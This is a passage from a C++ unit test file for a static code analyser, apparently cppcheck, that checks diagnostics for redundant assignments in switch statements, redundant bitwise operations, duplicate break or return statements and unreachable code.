}\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n 